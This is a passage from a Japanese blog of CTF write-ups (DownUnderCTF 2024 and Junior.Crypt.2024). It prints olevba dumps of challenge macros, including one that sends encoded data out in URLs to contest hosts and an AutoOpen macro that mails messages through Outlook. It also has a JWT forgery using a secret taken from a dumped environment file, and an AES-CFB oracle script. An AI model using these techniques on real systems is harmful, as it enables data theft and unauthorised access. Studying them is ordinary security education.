' MDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDA=









' Do you even Excel!










Sub macro1()
    Dim Path As String
    Dim wb As Workbook
    Dim A As String
    Dim B As String
    Dim C As String
    Dim D As String
    Dim E As String
    Dim F As String
    Dim G As String
    Dim H As String
    Dim J As String
    Dim K As String
    Dim L As String
    Dim M As String
    Dim N As String
    Dim O As String
    Dim P As String
    Dim Q As String
    Dim R As String
    Dim S As String
    Dim T As String
    Dim U As String
    Dim V As String
    Dim W As String
    Dim X As String
    Dim Y As String
    Dim Z As String
    Dim I As Long
    N = importantThing()
    K = "Yes"
    S = "Mon"
    U = forensics(K)
    V = totalyFine(U)
    D = "Ma"
    J = "https://play.duc.tf/" + V
    superThing (J)
    J = "http://flag.com/"
    superThing (J)
    G = "key"
    J = "http://play.duc.tf/"
    superThing (J)
    J = "http://en.wikipedia.org/wiki/Emu_War"
    superThing (J)
    N = importantThing()
    Path = ThisWorkbook.Path & "\flag.xlsx"
    Set wb = Workbooks.Open(Path)
    Dim valueA1 As Variant
    valueA1 = wb.Sheets(1).Range("A1").Value
    MsgBox valueA1
    wb.Close SaveChanges:=False
    F = "gic"
    N = importantThing()
    Q = "Flag: " & valueA1
    H = "Try Harder"
    U = forensics(H)
    V = totalyFine(U)
    J = "http://downunderctf.com/" + V
    superThing (J)
    W = S + G + D + F
    O = doThing(Q, W)
    M = anotherThing(O, W)
    A = something(O)
    Z = forensics(O)
    N = importantThing()
    P = "Pterodactyl"
    U = forensics(P)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    T = totalyFine(Z)
    MsgBox T
    J = "http://downunderctf.com/" + T
    superThing (J)
    N = importantThing()
    E = "Forensics"
    U = forensics(E)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    
End Sub
















' MDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAxMDE=











Public Function doThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    doThing = A
End Function














' Think of the emus!






' MDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAxMDE=







Public Function superThing(ByVal A As String) As String
    With CreateObject("MSXML2.ServerXMLHTTP.6.0")
        .Open "GET", A, False
        .Send
        superThing = StrConv(.responseBody, vbUnicode)
    End With
End Function








' MDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDEgMDAxMTAxMDA=









' Do you even Excel!










' Try Harder














Public Function something(B As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(inputText)
        A = A & WorksheetFunction.Dec2Bin(Asc(Mid(B, I, 1)))
    Next I
    something = A
End Function




' Totally Not Malware

















' MDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTEwMDEgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMDAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAwMDEgMDAxMTAwMTAgMDAxMTAxMDE=







Public Function forensics(B As String) As String
    Dim A() As Byte
    Dim I As Integer
    Dim C As String
    A = StrConv(B, vbFromUnicode)
    For I = LBound(A) To UBound(A)
        C = C & CStr(A(I)) & " "
    Next I
    C = Trim(C)
    forensics = C
End Function

-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet2.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open                |May open a file                              |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|MSXML2.ServerXMLHTTP|May download files from the Internet         |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |https://play.duc.tf/|URL                                          |
|IOC       |http://flag.com/    |URL                                          |
|IOC       |http://play.duc.tf/ |URL                                          |
|IOC       |http://en.wikipedia.|URL                                          |
|          |org/wiki/Emu_War    |                                             |
|IOC       |http://downunderctf.|URL                                          |
|          |com/                |                                             |
+----------+--------------------+---------------------------------------------+

pcapファイルの内容と合わせ、macro1関数内を見ていく。

    N = importantThing()
    K = "Yes"
    S = "Mon"
    U = forensics(K)
    V = totalyFine(U)
    D = "Ma"
    J = "https://play.duc.tf/" + V
    superThing (J)
    J = "http://flag.com/"
    superThing (J)
    G = "key"
    J = "http://play.duc.tf/"
    superThing (J)
    J = "http://en.wikipedia.org/wiki/Emu_War"
    superThing (J)
    N = importantThing()
    Path = ThisWorkbook.Path & "\flag.xlsx"
    Set wb = Workbooks.Open(Path)
    Dim valueA1 As Variant
    valueA1 = wb.Sheets(1).Range("A1").Value
    MsgBox valueA1
    wb.Close SaveChanges:=False
    F = "gic"
    N = importantThing()
    Q = "Flag: " & valueA1
    H = "Try Harder"
    U = forensics(H)
    V = totalyFine(U)
    J = "http://downunderctf.com/" + V ★No.304のHTTP GETメソッド通信のURL
    superThing (J)
    W = S + G + D + F
    O = doThing(Q, W)
    M = anotherThing(O, W)
    A = something(O)
    Z = forensics(O)
    N = importantThing()
    P = "Pterodactyl"
    U = forensics(P)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V ★No.315のHTTP GETメソッド通信のURL
    superThing (J)
    T = totalyFine(Z)
    MsgBox T
    J = "http://downunderctf.com/" + T ★No.351のHTTP GETメソッド通信のURL
    superThing (J)
    N = importantThing()
    E = "Forensics"
    U = forensics(E)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V ★No.362のHTTP GETメソッド通信のURL
    superThing (J)
|||<
Jはどのようにして生成されるかを確認する。
>||
・S = "Mon"
・D = "Ma"
・G = "key"
・F = "gic"
・Q = "Flag: " & valueA1
・W = S + G + D + F(="MonkeyMagic")
・O = doThing(Q, W)

OはQとWのXORになっており、Tで"-"区切りで指定されることになる。pcapファイルからJは以下のようになっている。

http://downunderctf.com/11-3-15-12-95-89-9-52-36-61-37-54-34-90-15-86-38-26-80-19-1-60-12-38-49-9-28-38-0-81-9-2-80-52-28-19

後ろのパスの値からASCIIコードを取り出し、"MonkeyMagic"とのXORをする。

#!/usr/bin/env python3
s = '11-3-15-12-95-89-9-52-36-61-37-54-34-90-15-86-38-26-80-19-1-60-12-38-49-9-28-38-0-81-9-2-80-52-28-19'
s = s.split('-')

key = 'MonkeyMagic'

flag = ''
for i in range(len(s)):
    flag += chr(int(s[i]) ^ ord(key[i % len(key)]))
print(flag)

この結果以下の通りとなった。

Flag: DUCTF{M4d3_W1th_AI_by_M0nk3ys}
DUCTF{M4d3_W1th_AI_by_M0nk3ys}

emuc2 (forensics) [easy]

Wiresharkで開き、[編集]>[設定]から[Protocolos]>[TLS]を選択し、(Pre)-Master-Secret log filenameにsslkeylogfile.txtを設定する。復号されるので、http2でフィルタリングして確認することができる。
No.1233パケットで、/api/loginに以下のデータを送信している。

{"username": "jooospeh", "password": "n3v3r-g0nna-g1v3-th3-b1rds-up"}

https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/に実際にアクセスすると、ログイン画面になる。適当にUsername, Passwordを入力し、Submitすると、/api/loginにアクセスしていることがわかる。
以下のアカウントでログインしてみるとログインできた。

jooospeh / n3v3r-g0nna-g1v3-th3-b1rds-up

以下のtokenが得られ、自動的に/api/flagにHTTPヘッダで送信されているが、失敗している。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWJqZWN0X2lkIjowLCJleHAiOjE3MjAyNTQxNTN9.jdtfqLopOcRL6RodIXQWLyTW3y9yTtVOiI4W431RLQEmq2FbI1LV1tb5sYCWuMKxcBJBPi6Vl_0nrAL5t3onZg

No.3620パケットで/api/envにアクセスし、環境設定情報のファイル一覧を取得している。すべてのファイルを取得し、JWTのSignatureのsecretデータが含まれていないかを見てみる。

#!/usr/bin/env python3
import requests
import json

base_url = 'https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/api/env/'

r = requests.get(base_url)
files = json.loads(r.text)

for file in files:
    url = base_url + file
    r = requests.get(url)
    print('#' * 72)
    print('# ', file)
    print(r.text)

すると、あるファイルの内容は以下のようになっていることがわかった。

########################################################################
#  T4yLN35GKLhxTgaykWxdgROCAwIBE3FO
2023-04-13T07:42:01Z
CARGO=/usr/local/Cellar/rust/1.78.0/bin/cargo
CARGO_MANIFEST_DIR=/Users/adrian/Documents/super-cool-malware
CARGO_PKG_AUTHORS=
CARGO_PKG_DESCRIPTION=
CARGO_PKG_HOMEPAGE=
CARGO_PKG_LICENSE=
CARGO_PKG_LICENSE_FILE=
CARGO_PKG_NAME=malware
CARGO_PKG_README=
CARGO_PKG_REPOSITORY=
CARGO_PKG_RUST_VERSION=
CARGO_PKG_VERSION=0.1.0
CARGO_PKG_VERSION_MAJOR=0
CARGO_PKG_VERSION_MINOR=1
CARGO_PKG_VERSION_PATCH=0
CARGO_PKG_VERSION_PRE=
COLORTERM=truecolor
COMMAND_MODE=unix2003
DYLD_FALLBACK_LIBRARY_PATH=/Users/adrian/Documents/super-cool-malware/target/debug/build/ring-dee52c3b1b943469/out:/Users/adrian/Documents/super-cool-malware/target/debug/deps:/Users/adrian/Documents/super-cool-malware/target/debug:/usr/local/Cellar/rust/1.78.0/lib/rustlib/x86_64-apple-darwin/lib:/Users/adrian/lib:/usr/local/lib:/usr/lib
GIT_ASKPASS=/Applications/Visual Studio Code.app/Contents/Resources/app/extensions/git/dist/askpass.sh
HOME=/Users/adrian
JWT_SECRET=3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi
KITTY_INSTALLATION_DIR=/Applications/kitty.app/Contents/Resources/kitty
KITTY_PID=30468
KITTY_WINDOW_ID=5
LANG=en_AU.UTF-8
LESS=-R
LOGNAME=adrian
LSCOLORS=Gxfxcxdxbxegedabagacad
LS_COLORS=di=1;36:ln=35:so=32:pi=33:ex=31:bd=34;46:cd=34;43:su=30;41:sg=30;46:tw=30;42:ow=30;43
MANPATH=/Users/adrian/.nvm/versions/node/v20.14.0/share/man:/usr/share/man:/usr/local/share/man:/Applications/Wireshark.app/Contents/Resources/share/man:/Applications/kitty.app/Contents/Resources/man:
MallocNanoZone=0
NVM_BIN=/Users/adrian/.nvm/versions/node/v20.14.0/bin
NVM_CD_FLAGS=-q
NVM_DIR=/Users/adrian/.nvm
NVM_INC=/Users/adrian/.nvm/versions/node/v20.14.0/include/node
OLDPWD=/Users/adrian/Documents/super-cool-malware
ORIGINAL_XDG_CURRENT_DESKTOP=undefined
PAGER=less
PATH=/usr/local/opt/node@16/bin:/usr/local/sbin:/Users/adrian/.docker/bin:/Users/adrian/bin:/usr/local/bin:/usr/local/Cellar/pyenv-virtualenv/1.2.1/shims:/Users/adrian/.pyenv/shims:/Users/adrian/.nvm/versions/node/v20.14.0/bin:/usr/local/bin:/System/Cryptexes/App/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/local/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/appleinternal/bin:/Applications/Wireshark.app/Contents/MacOS:/usr/local/opt/node@16/bin:/usr/local/sbin:/Users/adrian/.docker/bin:/Users/adrian/bin:/usr/local/Cellar/pyenv-virtualenv/1.2.1/shims:/Users/adrian/.cargo/bin:/Applications/kitty.app/Contents/MacOS:/Users/adrian/.go/bin:/Users/adrian/.cargo/bin:/Users/adrian/.go/bin
PWD=/Users/adrian/Documents/super-cool-malware
PYENV_SHELL=zsh
PYENV_VIRTUALENV_INIT=1
SHELL=/bin/zsh
SHLVL=3
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.cXbvzOe6VR/Listeners
TERM=xterm-256color
TERMINFO=/Applications/kitty.app/Contents/Resources/kitty/terminfo
TERM_PROGRAM=vscode
TERM_PROGRAM_VERSION=1.89.1
TMPDIR=/var/folders/qp/0t5_b5k12bj8y3fkkwdnz_000000gn/T/
USER=adrian
USER_ZDOTDIR=/Users/adrian
VSCODE_GIT_ASKPASS_EXTRA_ARGS=
VSCODE_GIT_ASKPASS_MAIN=/Applications/Visual Studio Code.app/Contents/Resources/app/extensions/git/dist/askpass-main.js
VSCODE_GIT_ASKPASS_NODE=/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)
VSCODE_GIT_IPC_HANDLE=/var/folders/qp/0t5_b5k12bj8y3fkkwdnz_000000gn/T/vscode-git-17f7383ca1.sock
VSCODE_INJECTION=1
WINDOWID=3781
XPC_FLAGS=0x0
XPC_SERVICE_NAME=0
ZDOTDIR=/Users/adrian
ZSH=/Users/adrian/.oh-my-zsh
_=/usr/local/bin/cargo
__CFBundleIdentifier=com.microsoft.VSCode
__CF_USER_TEXT_ENCODING=0x1F5:0:15

JWT_SECRETの値が以下のようになっている。

3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi

https://jwt.io/でtokenを入力し、上記のsecretの値をSignaureに入れると、Verifiedとなった。
subject_idを"1"にして、tokenを生成してみる。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWJqZWN0X2lkIjoxLCJleHAiOjE3MjAyNTQxNTN9.QRtGwf0TpMWrgpTo0cbIp1DVaHcykL4E0YqHLrepyVKUCCaUsSTUdzfKETVLrYZIpGvJZVpd0DJS2Nyt0C9Kng
$ curl https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/api/flag -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWJqZWN0X2lkIjoxLCJleHAiOjE3MjAzNTQxNTN9.upNxKrlit3yzptlwKzYysFAto6lUV4-xFDGnVbs7lZ6BFt4IkEjm39IrOVkeg9RHFzm8LaVoED-lxCnqAFSWjQ'
{"flag":"DUCTF{pǝʇɔǝɟuᴉ_sᴉ_ǝlᴉɟ_dᴉz_ǝɥʇ_oʇ_pɹoʍssɐd_ǝɥʇ}"}
DUCTF{pǝʇɔǝɟuᴉ_sᴉ_ǝlᴉɟ_dᴉz_ǝɥʇ_oʇ_pɹoʍssɐd_ǝɥʇ}

decrypt then eval (crypto) [easy]

サーバの処理概要は以下の通り。

・KEY: ランダム16バイト文字列
・IV: ランダム16バイト文字列
・FLAG: フラグ
・以下繰り返し
 ・ct: 入力→hexデコード
 ・KEY, IVを使って、ctをAES CFBモードで復号したものをevalして表示

CFBモードなので、平文と暗号文のXORは同じになる。ブルートフォースで"1"に復号するものを探す。さらに"11"というように探していく。同様にして"1111"まで見つけることができたら、XORで"FLAG"になるように指定すればフラグが取得できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('2024.ductf.dev', 30020))

xor_key = b''
for i in range(4):
    for j in range(256):
        ct = strxor(xor_key, b'1' * i) + bytes([j])
        ct_hex = ct.hex()
        data = recvuntil(s, b': ')
        print(data + ct_hex)
        s.sendall(ct_hex.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        if data == '1' * (i + 1):
            xor_key += bytes([j ^ ord('1')])
            break

ct = strxor(xor_key, b'FLAG')
ct_hex = ct.hex()
data = recvuntil(s, b': ')
print(data + ct_hex)
s.sendall(ct_hex.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

        :
ct: da564127
invalid ct!
ct: da564128
1113
ct: da564129
1112
ct: da56412a
1111
ct: ad2b315c
DUCTF{should_have_used_authenticated_encryption!}
DUCTF{should_have_used_authenticated_encryption!}

survey (misc) [beginner]

アンケートに答えていくと、最後にある画像にフラグが書いてあった。

DUCTF{hop3_u_had_fun}

Junior.Crypt.2024 CTF Writeup

この大会は2024/7/4 0:00(JST)~2024/7/6 0:00(JST)に開催されました。
今回は個人で参戦。結果は1500点で632チーム中64位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanitary inspection (Beginner)

Telegramに入り、grodnoで検索すると、サンプルフラグが見つかった。

grodno{our_flag_format_is grodno{grodno{grodno{grodno{grodno{...}}}}}}

Deep stego in the office (Beginner)

Wordのプロパティを見ると、詳細の作成者にフラグが書いてあった。

grodno{The_kingdom_0f_heaven_is_taken_by_f0rce}

Virus (Beginner)

URLの後ろの部分をCyberChefで以下の順でデコードする。

・From Base85
・From Base64
・From Base85

この結果以下のようになる。

1Sx_Q_Uw9NKJ-76a2Usw4aaPdZN0IcFBvbhopgJKQB3k

URLの前半部分と結合してアクセスする。

https://docs.google.com/document/d/1Sx_Q_Uw9NKJ-76a2Usw4aaPdZN0IcFBvbhopgJKQB3k

この文書にフラグが書いてあった。

grodno{105840_Zitie_mae_._._._81b97b}

Two points again (Beginner)

Nは素数なので、素因数分解不要で通常通り復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output_badRSA1.txt', 'r') as f:
    params = f.read().splitlines()

N = int(params[0].split(' ')[-1])
e = int(params[1].split(' ')[-1])
c = int(params[2].split(' ')[-1])

phi = N - 1
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()
print(flag)

復号結果は以下の通り。

By harnessing the grodno{m@thematical_pr0perties_0f_l@rge_prime_numb3rs}, RSA provides a robust and efficient method for encrypting and decrypting information.

文中にフラグがあった。

grodno{m@thematical_pr0perties_0f_l@rge_prime_numb3rs}

Found on my Windows (Misc)

次のハッシュをクラックする問題。

35517451C7733D5B57F79E5FFF31DC63

CrackStationでクラックする。

sakura
grodno{sakura}

Dogs running in a circle (Misc)

次のハッシュをクラックする問題。

7c7afb17ed0728e28f8835421cc66da5acf02cc7dbad40a2d61997bb0a3535e3a6484964aea8c7e02e0b5afe9c51b3f1ec789a7de8e61033ba7e550b048c82b9

CrackStationでクラックする。

trustno1
grodno{trustno1}

Last hash (Misc)

次のハッシュをクラックする問題。

dc31d6b5e25f9fb3e75a40c26b889b4b9b76654c110dbda739a9e899

CrackStationでクラックする。

lynlyn123
grodno{lynlyn123}

Terms of Use (Misc)

マクロコードを確認する。

$ olevba Malware.docm                 
olevba 0.60.2 on Python 3.11.9 - http://decalage.info/python/oletools
===============================================================================
FILE: Malware.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub AutoOpen()
' This macro runs automatically when you open a documen
' Malicious code: creating and sending messages with pirated content
    
Dim objOutlook As Object
Dim objMail As Object
Dim strRecipient As String
Dim strSubject As String
Dim strBody As String

' Address of the recipient
strRecipient = "piracy@example.com"

' Letter subject
strSubject = "Free download of a new movie"

' Text of the letter with a link to illegal downloadable content
strBody = "Hello! Here is a link to a pirated copy of the new film: http://illegal-download-link.com"

' Creating an Outlook Object
Set objOutlook = CreateObject("Outlook.Application")
Set objMail = objOutlook.CreateItem(0)

' Setting up and sending a letter
With objMail
.To = strRecipient
.Subject = strSubject
.Body = strBody
.Send
End With

' Releasing Objects
Set objMail = Nothing
Set objOutlook = Nothing

End Sub



















Sub N()

flag = "Z3JvZG5ve01TXzBmZmljZV9tYWNyb3NfYXJlX2Ffc291cmNlX29mX21hbGljaW91c19jb2RlLl9CM19jYXJlZnVsX3dpdGhfdGhlX2Z1bmN0aW9uYWxpdHlfaW5fYWN0aXZlX01TXzBmZmljZV9kb2N1bWVudHN9"
End Sub
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|open                |May open a file                              |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |http://illegal-     |URL                                          |
|          |download-link.com   |                                             |
|Base64    |grodno{MS_0ffice_mac|Z3JvZG5ve01TXzBmZmljZV9tYWNyb3NfYXJlX2Ffc291c|
|String    |ros_are_a_source_of_|mNlX29mX21hbGljaW91c19jb2RlLl9CM19jYXJlZnVsX3|
|          |malicious_code._B3_c|dpdGhfdGhlX2Z1bmN0aW9uYWxpdHlfaW5fYWN0aXZlX01|
|          |areful_with_the_func|TXzBmZmljZV9kb2N1bWVudHN9                    |
|          |tionality_in_active_|                                             |
